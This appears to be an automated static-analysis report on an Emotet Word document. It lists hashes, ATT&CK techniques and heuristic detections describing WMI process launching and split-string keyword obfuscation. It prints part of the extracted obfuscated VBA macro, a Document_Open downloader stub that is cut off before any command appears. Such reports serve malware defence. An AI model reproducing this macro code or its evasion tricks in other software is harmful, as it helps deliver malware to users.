Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 30d2febd89990560…

MALICIOUS

Office (OLE)

166.3 KB Created: 2019-12-11 20:26:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 389a39fda0a82225301d1935a95e2581 SHA-1: 67471c1f27fee380711a69a4d3d884e2846ebddc SHA-256: 30d2febd8999056045a53f06656adc50d28f2f7c9903fa8465f8c500d1190a4b
322 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros with a Document_Open auto-execution routine. These macros utilize obfuscated API calls, specifically reassembling the string 'winmgmts' to interact with WMI and launch processes. This behavior is characteristic of Emotet downloaders, which are designed to fetch and execute further malicious payloads.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotetdldr-7446536-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotetdldr-7446536-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7743 bytes
SHA-256: 1fd42b2414dd2db782bdbcb266e8f864a02af53734b9c19b60dee1eb1d2cdcf3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Japgkupccfyr"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Zlceybybqf, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Lvnaycagiyws = Rwfwncmsps To 0
         Xyrolkislq = (13 - Atn(51) - (44 + Round(41) * Aeuigyrjz / CInt(1)))
    Select Case Uzvczftgu
      Case Ecptmmkwba
         Vihelrafmirxp = CLng(Jnskjvozs)
         Leydnfcazt = Oct(Hougzwkr)
      Case Faijqjdhipkyg
         Iumuoqnsm = Ooodhbipzyvdp
         Slcqiiyzqbyxq = Int(29)
   End Select
Next
   For Trijsbsxbhoti = Xdtjoary To 0
         Rksxknjrdamo = (13 - Atn(51) - (44 + Round(41) * Gvukeojar / CInt(1)))
    Select Case Kqnywbtkraraz
      Case Eceeojindtfh
         Iqswazwwsg = CLng(Ddfouutkjgvm)
         Bdkfquzaijz = Oct(Rxhkxfvffhozk)
      Case Abvfqnxtmn
         Tdvwppvb = Wyhliwwv
         Gqagounlu = Int(29)
   End Select
Next
   For Mtlteiampzt = Dcltblgrhtp To 0
         Ilwmdniftkd = (13 - Atn(51) - (44 + Round(41) * Pyiodnctjotmr / CInt(1)))
    Select Case Xfzwhrapqdwg
      Case Jrhobviit
         Iuyxczld = CLng(Olgwipjsk)
         Ikzwlxpoj = Oct(Jvzxbsnekd)
      Case Vgastgzpiitzj
         Rbwpgtcc = Koqegxeeldqkf
         Kydabzocr = Int(29)
   End Select
Next
Zvawmydvle
End Sub

Attribute VB_Name = "Mrhrtpnqs"
Attribute VB_Base = "0{5043C126-E615-410C-BD1F-F6723CFB7830}{3817D82A-090F-4CA5-B8C5-843F0B91B5F5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Ftaobeum"
Function Ycsiehbdyf()
   For Tgxlxsgesswv = Sojqlbjsl To 0
         Nqwvifvaphg = (13 - Atn(51) - (44 + Round(41) * Hgfbqjbhoib / CInt(1)))
    Select Case Uamhbutykbk
      Case Nbuuymqsje
         Ccbfyivzt = CLng(Ohgleswfvsgw)
         Ujpfwlvqzy = Oct(Slsojrdggnsa)
      Case Mzaqvgbt
         Ftwzyyihtmzkm = Pstghrotv
         Pjdmpzhujpudh = Int(29)
   End Select
Next
Jvnwleehokfpr = Japgkupccfyr.Zlceybybqf
   For Ajhfesoxghoo = Edbmgzvag To 0
         Xowmlblwpmjh = (13 - Atn(51) - (44 + Round(41) * Mjiztomgpslkl / CInt(1)))
    Select Case Zacrmgeslvf
      Case Csvvnnupnanb
         Zdabpvgqmgq = CLng(Irxenkudwxpw)
         Amzppfpeoktp = Oct(Mgpflwmxpv)
      Case Lncglesafdm
         Vcddnkxc = Qikkbjdweqy
         Chyoxifi = Int(29)
   End Select
Next
Amffgipwtdhz = Jvnwleehokfpr + Mrhrtpnqs.Zucnqpqsachkw + Mrhrtpnqs.Ukbywssgn + Mrhrtpnqs.Xmfthykxixgxe
   For Zgmlcgos = Emospbvcw To 0
         Kowlkdxw = (13 - Atn(51) - (44 + Round(41) * Niszjccssuyif / CInt(1)))
    Select Case Esgkqoeubprpz
      Case Rwykrdvs
         Skddccimmgkqm = CLng(Inrjsnczo)
         Jvsviabm = Oct(Brynicnm)
      Case Kdbiqein
         Koaasnurxko = Ehwswjkpnvbrf
         Fernbitmqx = Int(29)
   End Select
Next
Txwxgqbsojmxi = Amffgipwtdhz + Mrhrtpnqs.Lmiagbvhxjsxv + Mrhrtpnqs.Wadvwiqojfdo.ControlTipText
   For Cogsodkdwew = Fycsudczmh To 0
         Cyjvbtnmycyk = (13 - Atn(51) - (44 + Round(41) * Uvukfego / CInt(1)))
    Select Case Wvwudopg
      Case Lebhvkiulcasz
         Gfcciooehz = CLng(Tjknrsvpqumou)
         Csbewclwim = Oct(Ixatipmplb)
      Case Aeesmsnin
         Lfujvimban = Rpaezhgabd
         Rxskpyvw = Int(29)
   End Select
Next
Ycsiehbdyf = Prxyanmbutp + Txwxgqbsojmxi + Prxyanmbutp
   For Jsoernzc = Xwedultdxhdm To 0
         Hpcozenkibso = (13 - Atn(51) - (44 + Round(41) * Yfsvfufigdhn / CInt(1)))
    Select Case Nzxwotwbkkcf
      Case Nckfzafroi
         Pyiygmaux = CLng(Vzswwuhsz)
         Vetcodnvkopg = Oct(Smeqfipexofge)
      Case Gqhrwdefexxhb
         Gtpxdidbuid = Ewiyezeyh
         Vogzthbnf = Int(29)
   End Select
Next
End Function
Function Zvawmydvle()
   For Yuszymeeg = Hlbimjbb To 0
         
... (truncated)